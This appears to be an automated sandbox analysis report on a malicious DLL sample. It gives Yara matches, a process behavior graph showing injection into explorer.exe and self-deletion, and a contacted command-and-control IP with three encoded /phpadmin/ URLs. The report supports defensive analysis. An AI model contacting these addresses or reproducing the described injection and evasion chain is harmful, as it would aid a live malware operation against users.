Source: Yara match File source: 00000002.00000003.261177888.0000000004F78000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: rundll32.exe PID: 5292, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: powershell.exe PID: 6612, type: MEMORYSTR
Source: Yara match File source: 2.3.rundll32.exe.48994a0.7.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 2.2.rundll32.exe.49f0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 2.3.rundll32.exe.48994a0.7.unpack, type: UNPACKEDPE
Source: Yara match File source: 2.3.rundll32.exe.4e7a4a0.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 2.3.rundll32.exe.4f26940.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 2.3.rundll32.exe.4ef94a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 2.3.rundll32.exe.4e7a4a0.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000002.00000002.421966249.0000000005800000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.307999471.0000000004EF9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.418290264.0000000004899000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.307957841.0000000004E7A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000002.420929959.0000000004BFF000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
windows-stand
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Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 signatures2 2 Behavior Graph ID: 614287 Sample: VoevdOQpeU.dll Startdate: 23/04/2022 Architecture: WINDOWS Score: 100 61 Snort IDS alert for network traffic (e.g. based on Emerging Threat rules) 2->61 63 Found malware configuration 2->63 65 Multi AV Scanner detection for submitted file 2->65 67 8 other signatures 2->67 9 mshta.exe 19 2->9         started        11 loaddll32.exe 1 2->11         started        process3 process4 13 powershell.exe 33 9->13         started        16 cmd.exe 1 11->16         started        18 WerFault.exe 6 9 11->18         started        20 WerFault.exe 2 9 11->20         started        22 WerFault.exe 11->22         started        signatures5 81 Injects code into the Windows Explorer (explorer.exe) 13->81 83 Writes to foreign memory regions 13->83 85 Creates a thread in another existing process (thread injection) 13->85 24 explorer.exe 13->24 injected 27 csc.exe 3 13->27         started        30 csc.exe 3 13->30         started        32 conhost.exe 13->32         started        34 rundll32.exe 1 6 16->34         started        process6 dnsIp7 73 Self deletion via cmd delete 24->73 37 cmd.exe 24->37         started        53 C:\Users\user\AppData\Local\...\poet0yxq.dll, PE32 27->53 dropped 40 cvtres.exe 1 27->40         started        55 C:\Users\user\AppData\Local\...\bscdh0f0.dll, PE32 30->55 dropped 42 cvtres.exe 1 30->42         started        57 146.70.35.138, 49766, 80 TENET-1ZA United Kingdom 34->57 75 System process connects to network (likely due to code injection or exploit) 34->75 77 Writes to foreign memory regions 34->77 79 Writes registry values via WMI 34->79 44 control.exe 1 34->44         started        file8 signatures9 process10 signatures11 69 Uses ping.exe to sleep 37->69 71 Uses ping.exe to check the status of other devices and networks 37->71 46 PING.EXE 37->46         started        49 conhost.exe 37->49         started        51 rundll32.exe 44->51         started        process12 dnsIp13 59 192.168.2.1 unknown unknown 46->59
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
146.70.35.138
 unknown United Kingdom
2018 TENET-1ZA true

Private

IP
192.168.2.1

Contacted URLs

Name Malicious Antivirus Detection Reputation
http://146.70.35.138/phpadmin/Vo3V1ij8xfQAzbYEppxuGj/YfKBcB_2BiFsK/C5o_2FK1/LFX_2FAQmA1J0Gg2IGK0zii/Cqu4J51vDj/wlNBNCb18BPgk55aw/3DJofkjbHHw_/2F3O9t6XtUN/FhzyouLiXCH4qy/e6m_2F6Bp87emTDJkwB0B/GJSc0pfzfjLvMKIS/Fcz1B6FomHVea2H/3F6nRjbT0qghS0NNIb/kfO6CmRa0/E8U4GDXz2DXZU_2BDOzp/T84va5G8JnhB3/UMJfQ.src true
  • Avira URL Cloud: safe
 unknown
http://146.70.35.138/phpadmin/DRUYboFifxi6C3/_2BjVEcKiT1b8A_2BvMed/1ckh5D3V8MdKp2S2/SxMBQuJjSXDeW9Y/7fodbbXY21Jrsa2aXJ/S90Gqb_2B/KDYz_2F5NJsyx14KqPKz/ecUQVATr13lzZyN_2B_/2BoLTTXT06dmMNQURoEaga/M1AdtgAQJw1vj/q_2FSYWg/oo4zTjJDuzf2mz8BRfV3I9z/TX7m3RhRWd/LYr8gkK9WgmQ0jja9/kmBHLi0WTs_2/FFd4Km9NmRn/_2FUZ.src true
  • Avira URL Cloud: safe
 unknown
http://146.70.35.138/phpadmin/GVoID0TbPRvLYlr7up2X9/gD2XQvRshzT0oIvQ/0mEtVI_2FJuzvKC/fbaZh1y3_2FnOqy8_2/B0Y8u0dqv/V11JJbfZHGLCQ043KVhZ/2j3FiaSLUSAIqnVTtEF/p_2F7mTRIgp_2F43j86HIJ/7JamWIlhMtaxW/Qv_2BsMI/GK_2BjMae66_2B0eWRxZare/pyglkGar6g/LD_2FkUNwRZVbFFyN/qmaS1_2FZd3W/iyocOp4EpCY/lkbOHJ4rs/yFlR4ppeN_2/FAS.src true
  • Avira URL Cloud: safe
 unknown